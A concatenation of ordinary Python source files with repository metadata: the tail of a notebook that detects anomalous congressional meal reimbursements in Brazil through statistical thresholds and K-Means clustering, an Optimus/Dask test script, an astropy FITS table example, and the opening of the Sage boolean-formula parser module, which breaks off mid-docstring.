In[33]:\n\nle_state = LabelEncoder()\nle_city = LabelEncoder()\nle_supplier_keyword = LabelEncoder()\nfactor_columns = ['state_company', 'supplier_keyword']\nmodel_dataset = bottom_99_dataset.dropna(subset=factor_columns)\nmodel_dataset['state_company'] = le_state.fit_transform(model_dataset['state_company'])\nmodel_dataset['city'] = le_city.fit_transform(model_dataset['city'])\nmodel_dataset['supplier_keyword'] = le_city.fit_transform(model_dataset['supplier_keyword'])\n\nmodel_columns = ['cnpj',\n                 'issue_date_day',\n                 'issue_date_month',\n                 'issue_date_year']\nX = model_dataset[model_columns + factor_columns]\ny = model_dataset['total_net_value']\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)\n\n\n# In[34]:\n\nmodel = LinearRegression(n_jobs=-1)\nmodel.fit(X_train, y_train)\nmodel.score(X_test, y_test)\n\n\n# Still not good enough. In fact, there's a serious mistake when considering this linear regression method for outlier detection: not just we're assuming that prices follow a linear regression (IMHO still good assumption, though), but outliers should be removed before running the regression. In other words, to find outliers, we must first remove them, having the regression score as just a accuracy estimator. May still be an interesting approach but we want to engage with something simpler first, to get the easier and most anomalous results.\n\n# ## Common CNPJs\n# \n# Expenses in the same restaurant are expected to follow a normal distribution. Can we find outliers in companies with enough expenses to analyze?\n\n# In[35]:\n\nfrom scipy.stats import normaltest\n\ndef normaltest_pvalue(values):\n    if len(values) >= 20:\n        return normaltest(values).pvalue\n    else:\n        return 1\n\nnet_values_by_cnpj = dataset.groupby('cnpj_cpf')['total_net_value']     .agg([len, np.mean, np.std, normaltest_pvalue])     .sort_values('len', ascending=False)     .reset_index()\nnet_values_by_cnpj['threshold'] = net_values_by_cnpj['mean'] +     3 * net_values_by_cnpj['std']\napplicants_per_cnpj = dataset.groupby('cnpj_cpf')['applicant_id']     .aggregate(lambda x: len(set(x))).reset_index()     .rename(columns={'applicant_id': 'congresspeople'})\nnet_values_by_cnpj = pd.merge(net_values_by_cnpj, applicants_per_cnpj)\nnet_values_by_cnpj.head()\n\n\n# In[36]:\n\nlen(net_values_by_cnpj.query('normaltest_pvalue < .05')) / len(net_values_by_cnpj)\n\n\n# In[37]:\n\ndata_with_threshold = pd.merge(dataset, net_values_by_cnpj, on='cnpj_cpf')     .sort_values('total_net_value', ascending=False)\n\n\n# In[38]:\n\ndata_with_threshold['main_activity'] =     data_with_threshold['main_activity'].apply(normalize_string)\n\n\n# Let's discard hotel reibursements. There's no method yet to discover for how long the congressperson stayed in the hotel, so we can expect a high standard deviation in their expenses. Even when detecting outliers, it's too hard to investigate manually given the same reason.\n# \n# Here, we just consider CNPJs where we have more than 20 reimbursements, from at least 3 congresspeople.\n\n# In[39]:\n\nis_hotel_reimbursement = data_with_threshold['main_activity']     .str.contains('hoteis').astype(np.bool)\noutliers = data_with_threshold[~is_hotel_reimbursement]     .query('(congresspeople > 3) & (len >= 20) & (total_net_value > threshold)')\nprint(len(outliers), outliers['total_net_value'].sum())\n\n\n# ## Foursquare\n# \n# Before totally discarding it, let's see how significant is the Foursquare dataset.\n\n# In[40]:\n\nfoursquare = pd.read_csv('../data/2016-12-02-foursquare-companies.xz',\n                         low_memory=False)\nfoursquare.head()\n\n\n# In[41]:\n\nfoursquare.iloc[0]\n\n\n# In[42]:\n\nprint(foursquare['price.tier'].notnull().sum(),\n      foursquare['price.tier'].notnull().sum() / len(companies),\n      foursquare.query('confirmed_match == True')['price.tier'].notnull().sum() / len(companies))\n\n\n# ### Clustering for find the best group for a new restaurant\n\n# In[43]:\n\ncompanies.shape\n\n\n# In[44]:\n\n# is_cnpj = (dataset['cnpj_cpf'].str.len() == 14) & \\\n#     dataset['cnpj_cpf'].notnull() & \\\n#     dataset['document_type'] != 2\n# cnpjs = dataset.sort_values('issue_date') \\\n#     .loc[is_cnpj, ['cnpj_cpf', 'supplier']] \\\n#     .drop_duplicates('cnpj_cpf', keep='last')\n# cnpjs.head()\n\n\n# In[45]:\n\nis_cnpj = dataset['cnpj_cpf'].str.len() == 14\ncnpj_list = dataset.loc[is_cnpj].groupby('cnpj')['total_net_value']     .agg([np.mean, np.std]).reset_index()\ncnpj_list.shape\n\n\n# In[46]:\n\ncnpj_list.head()\n\n\n# In[47]:\n\ncnpj_list = pd.merge(cnpj_list,\n                     dataset[['cnpj_cpf', 'supplier']].drop_duplicates('cnpj_cpf'),\n                     how='left',\n                     left_on='cnpj', right_on='cnpj_cpf')\ndel cnpj_list['cnpj_cpf']\ncnpj_list.head()\n\n\n# In[48]:\n\ncounts = dataset.loc[is_cnpj].groupby('cnpj')['applicant_id']     .agg({'congresspeople': (lambda x: len(np.unique(x))),\n          'len': (lambda x: len(x))\n         }).reset_index()\n\ncnpj_list = pd.merge(cnpj_list, counts)\n\n\n# **Calculate threshold for companies using their own receipts**\n\n# In[49]:\n\nthreshold_for_cnpjs = cnpj_list.groupby('cnpj')     .apply(lambda x: x['mean'].mean() + 3 * x['std'].mean()).reset_index()     .rename(columns={0: 'threshold'})\nthreshold_for_cnpjs\n\ncnpj_list = pd.merge(cnpj_list, threshold_for_cnpjs)\ncnpj_list.head()\n\n\n# In[50]:\n\nHOTEL_REGEX = r'hote[l(eis)(ls)]'\nis_hotel_reimbursement = (cnpj_list['supplier'].str.lower().str.contains(HOTEL_REGEX))\n\n\n# Mark companies as having or not significant data.\n\n# In[51]:\n\nrows = (~is_hotel_reimbursement) &     (cnpj_list['congresspeople'] > 3) &     (cnpj_list['len'] > 20)\ncnpj_list['has_significant_data'] = False\ncnpj_list.loc[rows, 'has_significant_data'] = True\n\n\n# In[52]:\n\nprint(cnpj_list['has_significant_data'].sum(),\n      cnpj_list['has_significant_data'].sum() / len(cnpj_list['has_significant_data']))\n\n\n# In[53]:\n\nsns.lmplot('mean', 'std',\n           data=cnpj_list.query('has_significant_data'),\n           scatter_kws={'marker': 'D', 's': 100},\n           size=10)\n\n\n# **Predict threshold classifying companies in clusters by their price ranges**\n\n# In[54]:\n\nX = cnpj_list.loc[cnpj_list['has_significant_data'],\n                  ['mean', 'std']]\n\n\n# In[55]:\n\nfrom sklearn.cluster import KMeans\n\nmodel = KMeans(n_clusters=3, random_state=0)\nmodel.fit(X)\n\n\n# In[56]:\n\ncnpj_list.loc[cnpj_list['has_significant_data'], 'y'] = model.predict(X)\n\n\n# In[57]:\n\ncnpj_list.query('y.notnull()').head()\n\n\n# In[58]:\n\nrows = (~cnpj_list['has_significant_data']) &     cnpj_list['std'].notnull() &     (~is_hotel_reimbursement)\nX = cnpj_list.loc[rows, ['mean', 'std']]\ncnpj_list.loc[rows, 'y'] = model.predict(X)\n\n\n# In[59]:\n\nthreshold_for_groups = cnpj_list.groupby('y')     .apply(lambda x: x['mean'].mean() + 4 * x['std'].mean()).reset_index()     .rename(columns={0: 'threshold'})\nthreshold_for_groups\n\n\n# In[60]:\n\ngroup_thresholds = pd.merge(cnpj_list.query('~has_significant_data'),\n                            threshold_for_groups,\n                            on='y',\n                            suffixes=('', '_group'))\n\ncnpj_list = pd.merge(cnpj_list,\n                     group_thresholds[['cnpj', 'threshold_group']],\n                     how='left')\ncnpj_list.loc[~cnpj_list['has_significant_data'], 'threshold'] =     cnpj_list['threshold_group']\n\n\n# In[61]:\n\ncnpj_list.query('(~has_significant_data) & std.notnull()').head()\n\n\n# In[62]:\n\ncnpj_list.query('has_significant_data').head()\n\n\n# In[63]:\n\ncnpj_list.query('threshold.notnull()').sample(5, random_state=10)\n\n\n# In[64]:\n\ndel cnpj_list['threshold_group']\n\n\n# In[65]:\n\nmerged = pd.merge(dataset, cnpj_list,\n                  how='left',\n                  left_on='cnpj_cpf',\n                  right_on='cnpj',\n                  suffixes=('', '_company'))\n\n\n# In[66]:\n\nmerged['supplier'] = merged['supplier'].astype(np.str)\nis_hotel_reimbursement =     (merged['supplier'].str.lower().str.contains(HOTEL_REGEX))\n\nmerged[~is_hotel_reimbursement].query('total_net_value > threshold').shape\n\n\n# In[67]:\n\nkeys = ['year',\n        'congressperson_name',\n        'document_id',\n        'total_net_value',\n        'threshold',\n        'cnpj_cpf',\n        'has_significant_data',\n        'name']\n\nmerged['diff'] = merged['threshold'] - merged['total_net_value']\nmerged[~(is_hotel_reimbursement | merged['has_significant_data'])]     .query('(total_net_value > threshold)')     .sort_values('diff', ascending=False).head(10)[keys]\n\n\n# In[68]:\n\nmerged[~is_hotel_reimbursement].shape\n\n\n# In[69]:\n\nmerged[~is_hotel_reimbursement]     .query('(total_net_value > threshold)')['total_net_value'].shape\n\n\n# In[70]:\n\nmerged[~is_hotel_reimbursement]     .query('(total_net_value > threshold)')['total_net_value'].sum()\n\n\n# In[71]:\n\nmerged[~is_hotel_reimbursement]     .query('(total_net_value > threshold) & (has_significant_data == False)')['total_net_value'].shape\n\n\n# ## Conclusions\n# \n# For companies with significant data (defined by us as a company which received money at least 20x, from at least 3 distinct congresspeople), we use mean + 3 * std to detect outliers. Does not return all the suspect cases, but all of them, after some sampling investigation, seem to be very suspect.\n# \n# Since there's \"significant data\" just for 4% of the companies, we need a way for extrapolating the results for not so known ones. For doing so, we classify companies in 3 clusters using K-Means, considering mean and standard deviation of their prices as features. Once classified, we consider their threshold mean + 4 * stds of their clusters (one extra std compared to places where we have enough reimbursements to know better).\n# \n# Reimbursements made for expenses in hotels are discarded from this classifier, since they usually contain much more than meals (and we don't know for how long the congressperson was hosted in the place, not yet trustable for legal reports).\n\n# In[ ]:\n\n\n\n", "meta": {"hexsha": "efb4686d78bfc0676244e75477be86c50ccfbd02", "size": 18043, "ext": "py", "lang": "Python", "max_stars_repo_path": "research/develop/2016-12-01-irio-anomalies-in-meal-prices.py", "max_stars_repo_name": "SuccessionEcologicalServices/serenata-de-amor", "max_stars_repo_head_hexsha": "718a74e031ea0a4b020bf42801e1d23353e6bc34", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 59, "max_stars_repo_stars_event_min_datetime": "2018-10-03T18:46:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-05T22:39:17.000Z", "max_issues_repo_path": "research/develop/2016-12-01-irio-anomalies-in-meal-prices.py", "max_issues_repo_name": "SuccessionEcologicalServices/serenata-de-amor", "max_issues_repo_head_hexsha": "718a74e031ea0a4b020bf42801e1d23353e6bc34", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 16, "max_issues_repo_issues_event_min_datetime": "2018-10-03T21:36:50.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-12T22:10:16.000Z", "max_forks_repo_path": "research/develop/2016-12-01-irio-anomalies-in-meal-prices.py", "max_forks_repo_name": "SuccessionEcologicalServices/serenata-de-amor", "max_forks_repo_head_hexsha": "718a74e031ea0a4b020bf42801e1d23353e6bc34", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 20, "max_forks_repo_forks_event_min_datetime": "2018-10-03T19:14:57.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-12T20:50:44.000Z", "avg_line_length": 28.9614767255, "max_line_length": 546, "alphanum_fraction": 0.6881339023, "include": true, "reason": "import numpy,from scipy", "num_tokens": 4586, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.1259227631950178, "lm_q1q2_score": 0.05854169048104286}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.1.1\n#   kernel_info:\n#     name: python3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # This notebook create the tests in python code. All this cells must be run to executed the tests\n\n# %load_ext autoreload\n# %autoreload 2\n\n# + {\"outputHidden\": false, \"inputHidden\": false}\nimport sys\nsys.path.append(\"../..\")\n# -\n\nfrom optimus import Optimus\nfrom optimus.helpers.test import Test\n\nfrom optimus import Optimus\nop = Optimus(\"dask\", n_workers=1, threads_per_worker=8, processes=False, memory_limit=\"3G\", comm=True)\n\nimport numpy as np\nimport pandas as pd\n\n\n# +\nimport pandas as pd\nfrom pyspark.sql.types import *\nfrom datetime import date, datetime\n\ncols = [\n    (\"names\", \"str\"),\n    (\"height(ft)\", ShortType()),\n    (\"function\", \"str\"),\n    (\"rank\", ByteType()),\n    (\"age\", \"int\"),\n    (\"weight(t)\", \"float\"),\n    \"japanese name\",\n    \"last position seen\",\n    \"date arrival\",\n    \"last date seen\",\n    (\"attributes\", ArrayType(FloatType())),\n    (\"Date Type\", DateType()),\n    (\"timestamp\", TimestampType()),\n    (\"Cybertronian\", BooleanType()),\n    (\"function(binary)\", BinaryType()),\n    (\"NullType\", NullType())\n\n]\n\nrows = [\n    (\"Optim'us\", -28, \"Leader\", 10, 4000000, 4.30, [\"Inochi\", \"Convoy\"], \"19.442735,-99.201111\", \"1980/04/10\",\n     \"2016/09/10\", [8.5344, 4300.0], date(2016, 9, 10), datetime(2014, 6, 24), True, bytearray(\"Leader\", \"utf-8\"),\n     None),\n    (\"bumbl#eb\u00e9\u00e9  \", 17, \"Espionage\", 7, 5000000, 2.0, [\"Bumble\", \"Goldback\"], \"10.642707,-71.612534\", \"1980/04/10\",\n     \"2015/08/10\", [5.334, 2000.0], date(2015, 8, 10), datetime(2014, 6, 24), True, bytearray(\"Espionage\", \"utf-8\"),\n     None),\n    (\"ironhide&\", 26, \"Security\", 7, 7000000, 4.0, [\"Roadbuster\"], \"37.789563,-122.400356\", \"1980/04/10\",\n     \"2014/07/10\", [7.9248, 4000.0], date(2014, 6, 24), datetime(2014, 6, 24), True, bytearray(\"Security\", \"utf-8\"),\n     None),\n    (\"Jazz\", 13, \"First Lieutenant\", 8, 5000000, 1.80, [\"Meister\"], \"33.670666,-117.841553\", \"1980/04/10\",\n     \"2013/06/10\", [3.9624, 1800.0], date(2013, 6, 24), datetime(2014, 6, 24), True,\n     bytearray(\"First Lieutenant\", \"utf-8\"), None),\n    (\"Megatron\", None, \"None\", 10, 5000000, 5.70, [\"Megatron\"], None, \"1980/04/10\", \"2012/05/10\", [None, 5700.0],\n     date(2012, 5, 10), datetime(2014, 6, 24), True, bytearray(\"None\", \"utf-8\"), None),\n    (\"Metroplex_)^$\", 300, \"Battle Station\", 8, 5000000, None, [\"Metroflex\"], None, \"1980/04/10\", \"2011/04/10\",\n     [91.44, None], date(2011, 4, 10), datetime(2014, 6, 24), True, bytearray(\"Battle Station\", \"utf-8\"), None),\n    (None, None, None, np.nan, None, None, None, None, None, None, None, None, None, None, None, None),\n\n]\n\nsource_df = pd.DataFrame(columns = ['names','height(ft)','function',\n                      'rank','age','weight(t)','japanese name','last position seen',\n                      'date arrival','last date seen','attributes','Date Type','timestamp',\n                      'Cybertronian','function(binary)','NullType'], \n             data= rows,\n#              dtype = (object,object,object,\n#                                 object,object,object,object,object,\n#                                 object,object,object,object,object,\n#                                 object,object)\n            )\n\n# from dask import dataframe as dd\n\n# a=pd.DataFrame(source_df.to_dict())\nfrom dask import dataframe as dd\nsource_df = dd.from_pandas(source_df, npartitions=1)\n\n\n# -\n\nsource_df.compute()\n\n# ### End Init Section\n\n# # Test\n\n# ## Columns Test\n\nt = Test(op, source_df, \"df_cols_dask\", imports=[\"import numpy as np\",\n                                            \"nan = np.nan\",\n                                            \"import datetime\",], path=\"df_cols_dask\", final_path=\"..\")\n\n# +\nfrom pyspark.sql import functions as F\n\n\ndef func(col_name, attrs):\n    return F.col(col_name) * 2\n\nnumeric_col = \"height(ft)\"\nnumeric_col_B = \"rank\"\nnumeric_col_C = \"rank\"\nstring_col = \"function\"\ndate_col = \"date arrival\"\ndate_col_B = \"last date seen\"\nnew_col = \"new col\"\narray_col = \"attributes\"\n# -\n\nsource_df.compute()\n\nt.create(None, \"cols.clip\", \"all_columns\", \"df\", None,\"*\", 3, 5)\n\nt.create(None, \"cols.cast\", \"all_columns\", \"df\", None, \"*\", \"str\")\n\nt.create(None, \"cols.is_na\", \"all_columns\", \"df\", None, \"*\")\n\nfor i in source_df.compute().attributes:\n    print(type(i[0]))\n\nsource_df.cols.unnest(\"attributes\").compute()\n\nsource_df.compute()\n\nsource_df['height(ft)'].astype(str).str.split(\".\").compute()\n\nimport dask\nsource_df['height(ft)'].astype(str).str.split(\".\", expand=True, n=1)\n# apply(dask.dataframe.Series, meta=(\"a\")).compute()\n\nsource_df['attributes'].compute().apply(pd.Series)\n\nsource_df = source_df.ext.repartition(6)\n\nsource_df[\"date arrival\"].astype(str).str.split(\"/\", expand=True, n=2).compute()\n\nsource_df.compute()\n", "meta": {"hexsha": "e04bc44eed3e6ca4ca9aba6bd1c4f3ef713a414b", "size": 5017, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/creator/creator-dask-debug.py", "max_stars_repo_name": "Pcosmin/Optimus", "max_stars_repo_head_hexsha": "ef3306d1b752bbfb1959ddb9103786acb8e9b9ba", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-22T13:04:37.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-22T13:04:37.000Z", "max_issues_repo_path": "tests/creator/creator-dask-debug.py", "max_issues_repo_name": "rafaelang/Optimus", "max_issues_repo_head_hexsha": "809088f41588c968b2e30210f98a494a497b07ff", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/creator/creator-dask-debug.py", "max_forks_repo_name": "rafaelang/Optimus", "max_forks_repo_head_hexsha": "809088f41588c968b2e30210f98a494a497b07ff", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.9691358025, "max_line_length": 116, "alphanum_fraction": 0.5997608132, "include": true, "reason": "import numpy", "num_tokens": 1546, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12085323090725615, "lm_q1q2_score": 0.058538898172002585}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Documentation:\n# - http://docs.astropy.org/en/stable/table/index.html#getting-started\n# - http://www.astropy.org/astropy-tutorials/FITS-tables.html\n# - http://www.astropy.org/astropy-tutorials/FITS-header.html\n\nimport argparse\nfrom astropy.io import fits\n\nimport numpy as np\nimport astropy.table\n\n# PARSE OPTIONS ###############################################################\n\nparser = argparse.ArgumentParser(description=\"An astropy snippet\")\nparser.add_argument(\"filearg\", nargs=1, metavar=\"FILE\", help=\"the output FITS file\")\nargs = parser.parse_args()\nfile_path = args.filearg[0]\n\n# WRITE DATA ##################################################################\n\nname_list = (\"column1\", \"column2\", \"column3\")\ndtype_list = (\"S128\",  # column1 -> 128 bytes string\n              \"i4\",    # column2 -> 4 bytes integer\n              \"f8\")    # column3 -> 8 bytes float\n\ntable = astropy.table.Table(names=name_list,\n                            dtype=dtype_list)\n\ntable.add_row([\"A\", 1, 1.1])\ntable.add_row([\"B\", 2, 2.2])\ntable.add_row([\"C\", 3, 3.3])\n\nprint(table)\n\ntable.write(file_path, overwrite=True)\n", "meta": {"hexsha": "13c6721b8d1513c817b02adc3ece56a86b85ad9a", "size": 1152, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/astropy/fits/write_binary_table_with_dtype.py", "max_stars_repo_name": "jeremiedecock/snippets", "max_stars_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 23, "max_stars_repo_stars_event_min_datetime": "2015-06-08T13:01:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-30T08:20:04.000Z", "max_issues_repo_path": "python/astropy/fits/write_binary_table_with_dtype.py", "max_issues_repo_name": "jeremiedecock/snippets", "max_issues_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-22T02:36:10.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-22T02:36:10.000Z", "max_forks_repo_path": "python/astropy/fits/write_binary_table_with_dtype.py", "max_forks_repo_name": "jeremiedecock/snippets", "max_forks_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2017-10-31T09:48:14.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-04T15:59:45.000Z", "avg_line_length": 29.5384615385, "max_line_length": 84, "alphanum_fraction": 0.5946180556, "include": true, "reason": "import numpy,import astropy,from astropy", "num_tokens": 286, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.12085322457439823, "lm_q1q2_score": 0.05853889510449234}}
{"text": "r\"\"\"\nModule that creates and modifies parse trees of well formed boolean formulas.\n\nA parse tree of a boolean formula is a nested list, where each branch is either\na single variable, or a formula composed of either two variables and a binary\noperator or one variable and a unary operator. The function parse() produces\na parse tree that is simplified for the purposes of more efficient truth value\nevaluation. The function polish_parse() produces the full parse tree of a boolean\nformula which is used in functions related to proof and inference.  That is,\nparse() is meant to be used with functions in the logic module that perform\nsemantic operations on a boolean formula, and polish_parse() is to be used with\nfunctions that perform syntactic operations on a boolean formula.\n\nAUTHORS:\n\n- Chris Gorecki (2007): initial version\n\n- Paul Scurek (2013-08-01): added polish_parse, cleaned up python code,\n  updated docstring formatting\n\nEXAMPLES:\n\nFind the parse tree and variables of a string representation of a boolean formula::\n\n    sage: import sage.logic.logicparser as logicparser\n    sage: s = 'a|b&c'\n    sage: t = logicparser.parse(s)\n    sage: t\n    (['|', 'a', ['&', 'b', 'c']], ['a', 'b', 'c'])\n\nFind the full syntax parse tree of a string representation of a boolean formula::\n\n    sage: import sage.logic.logicparser as logicparser\n    sage: s = '(a&b)->~~c'\n    sage: logicparser.polish_parse(s)\n    ['->', ['&', 'a', 'b'], ['~', ['~', 'c']]]\n\nFind the tokens and distinct variables of a boolean formula::\n\n    sage: import sage.logic.logicparser as logicparser\n    sage: s = '~(a|~b)<->(c->c)'\n    sage: logicparser.tokenize(s)\n    (['(', '~', '(', 'a', '|', '~', 'b', ')', '<->', '(', 'c', '->', 'c', ')', ')'], ['a', 'b', 'c'])\n\nFind the parse tree of a boolean formula from a list of the formula's tokens::\n\n    sage: import sage.logic.logicparser as logicparser\n    sage: t = ['(', 'a', '->', '~', 'c', ')']\n    sage: logicparser.tree_parse(t)\n    ['->', 'a', ['~', 'c', None]]\n    sage: r = ['(', '~', '~', 'a', '|', 'b', ')']\n    sage: logicparser.tree_parse(r)\n    ['|', 'a', 'b']\n\nFind the full syntax parse tree of a boolean formula from a list of tokens::\n\n    sage: import sage.logic.logicparser as logicparser\n    sage: t = ['(', 'a', '->', '~', 'c', ')']\n    sage: logicparser.tree_parse(t, polish = True)\n    ['->', 'a', ['~', 'c']]\n    sage: r = ['(', '~', '~', 'a', '|', 'b', ')']\n    sage: logicparser.tree_parse(r, polish = True)\n    ['|', ['~', ['~', 'a']], 'b']\n\n\n\"\"\"\n#*****************************************************************************\n#       Copyright (C) 2007 Chris Gorecki <chris.k.gorecki@gmail.com>\n#       Copyright (C) 2013 Paul Scurek <scurek86@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#  as published by the Free Software Foundation; either version 2 of\n#  the License, or (at your option) any later version.\n#                  http://www.gnu.org/licenses/\n#*****************************************************************************\n\nfrom types import *\nimport string\n\n__symbols = '()&|~<->^'\n__op_list = ['~', '&', '|', '^', '->', '<->']\n\ndef parse(s):\n    r\"\"\"\n    Return a parse tree from a boolean formula s.\n\n    INPUT:\n\n    - ``s`` -- a string containing a boolean formula.\n\n    OUTPUT:\n\n    A list containing the prase tree and a list containing the\n    variables in a boolean formula in this order:\n\n    1. the list containing the pase tree\n    2. the list containing the variables\n\n    EXAMPLES:\n\n    This example illustrates how to produce the parse tree of a boolean formula s.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: s = 'a|b&c'\n        sage: t = logicparser.parse(s)\n        sage: t\n        (['|', 'a', ['&', 'b', 'c']], ['a', 'b', 'c'])\n    \"\"\"\n    toks, vars_order = tokenize(s)\n    tree = tree_parse(toks)\n    # special case of tree == single variable\n    if isinstance(tree, StringType):\n        return ['&', tree, tree], vars_order\n    return tree, vars_order\n\ndef polish_parse(s):\n    r\"\"\"\n    Return the full syntax parse tree from a boolean formula s.\n\n    INPUT:\n\n    - ``s`` -- a string containing a boolean expression\n\n    OUTPUT:\n\n    The full syntax parse tree as a nested list\n\n    EXAMPLES:\n\n    This example illustrates how to find the full syntax parse tree of a boolean formula.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: s = 'a|~~b'\n        sage: t = logicparser.polish_parse(s)\n        sage: t\n        ['|', 'a', ['~', ['~', 'b']]]\n\n    AUTHORS:\n\n    - Paul Scurek (2013-08-03)\n    \"\"\"\n    toks, vars_order = tokenize(s)\n    tree = tree_parse(toks, polish = True)\n    # special case where the formula s is a single variable\n    if isinstance(tree, StringType):\n        return vars_order\n    return tree\n\ndef tokenize(s):\n    r\"\"\"\n    Return the tokens and the distinct variables appearing in a boolean formula s.\n\n    INPUT:\n\n    - ``s`` -- a string representation of a boolean formula\n\n    OUTPUT:\n\n    The tokens and variables as an ordered pair of lists in the following order:\n\n    1. A list containing the tokens of s, in the order they appear in s\n    2. A list containing the distinct variables in s, in the order they appearn in s\n\n    EXAMPLES:\n\n    This example illustrates how to tokenize a string representation of a boolean formula.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: s = 'a|b&c'\n        sage: t = logicparser.tokenize(s)\n        sage: t\n        (['(', 'a', '|', 'b', '&', 'c', ')'], ['a', 'b', 'c'])\n    \"\"\"\n    i = 0\n    toks = ['(']\n    vars_order = []\n\n    while i < len(s):\n        tok = \"\"\n        skip = valid = 1\n        if s[i] in '()~&|^':\n            tok = s[i]\n        elif s[i:i + 2] == '->':\n            tok = '->'\n            skip = 2\n        elif s[i:i + 3] == '<->':\n            tok = '<->'\n            skip = 3\n        # check to see if '-', '<' or '>' are used incorrectly\n        elif s[i] in '<->':\n            msg = \"'%s' can only be used as part of the operators '<->' or '->'.\" % (s[i])\n            raise SyntaxError, msg\n        if len(tok) > 0:\n            toks.append(tok)\n            i += skip\n            continue\n        else:\n            # token is a variable name\n            if s[i] == ' ':\n                i += 1\n                continue\n\n            while i < len(s) and s[i] not in __symbols and s[i] != ' ':\n                tok += s[i]\n                i += 1\n\n            if len(tok) > 0:\n                if tok[0] not in string.letters:\n                    valid = 0\n                for c in tok:\n                    if c not in string.letters and c not in string.digits and c != '_':\n                        valid = 0\n\n            if valid == 1:\n                toks.append(tok)\n                if tok not in vars_order:\n                    vars_order.append(tok)\n            else:\n                msg = 'invalid variable name ' + tok\n                msg += \": identifiers must begin with a letter and contain only \"\n                msg += \"alphanumerics and underscores\"\n                raise NameError, msg\n\n    toks.append(')')\n    return toks, vars_order\n\ndef tree_parse(toks, polish = False):\n    r\"\"\"\n    Return a parse tree from the tokens in toks.\n\n    INPUT:\n\n    - ``toks`` -- a list of tokens from a boolean formula\n\n    - ``polish`` -- (default: False) a boolean.  When true, tree_parse will return\n      the full syntax parse tree.\n\n    OUTPUT:\n\n    A parse tree in the form of a nested list that depends on ``polish`` as follows:\n\n    polish == False -- Return a simplified parse tree.\n\n    polish == True -- Return the full syntax parse tree.\n\n    EXAMPLES:\n\n    This example illustrates the use of tree_parse when polish == False.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: t = ['(', 'a', '|', 'b', '&', 'c', ')']\n        sage: logicparser.tree_parse(t)\n        ['|', 'a', ['&', 'b', 'c']]\n\n    We now demonstrate the use of tree_parse when polish == True.\n\n    ::\n\n        sage: t = ['(', 'a', '->', '~', '~', 'b', ')']\n        sage: logicparser.tree_parse(t)\n        ['->', 'a', 'b']\n        sage: t = ['(', 'a', '->', '~', '~', 'b', ')']\n        sage: logicparser.tree_parse(t, polish = True)\n        ['->', 'a', ['~', ['~', 'b']]]\n    \"\"\"\n    stack = []\n    for tok in toks:\n        stack.append(tok)\n        if tok == ')':\n            lrtoks = []\n            while tok != '(':\n                tok = stack.pop()\n                lrtoks.insert(0, tok)\n            branch = parse_ltor(lrtoks[1:-1], polish = polish)\n            stack.append(branch)\n    return stack[0]\n\ndef parse_ltor(toks, n = 0, polish = False):\n    r\"\"\"\n    Return a parse tree from toks, where each token in toks is atomic.\n\n    INPUT:\n\n    - ``toks`` -- a list of tokens. Each token is atomic.\n\n    - ``n`` -- (default: 0) an integer representing which order of\n      operations are occurring\n\n    - ``polish`` -- (default: False) a boolean.  When true, double negations\n      are not cancelled and negated statements are turned into list of length two.\n\n    OUTPUT:\n\n    The parse tree as a nested list that depends on ``polish`` as follows:\n\n    polish == False - Return a simplified parse tree.\n\n    polish == True - Return the full syntax parse tree.\n\n    EXAMPLES:\n\n    This example illustrates the use of parse_ltor when polish == False.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: t = ['a', '|', 'b', '&', 'c']\n        sage: logicparser.parse_ltor(t)\n        ['|', 'a', ['&', 'b', 'c']]\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: t = ['a', '->', '~', '~', 'b']\n        sage: logicparser.parse_ltor(t)\n        ['->', 'a', 'b']\n\n    We now repeat the previous example, but with polish == True.\n\n    ::\n\n        sage: import sage.logic.logicparser as logicparser\n        sage: t = ['a', '->', '~', '~', 'b']\n        sage: 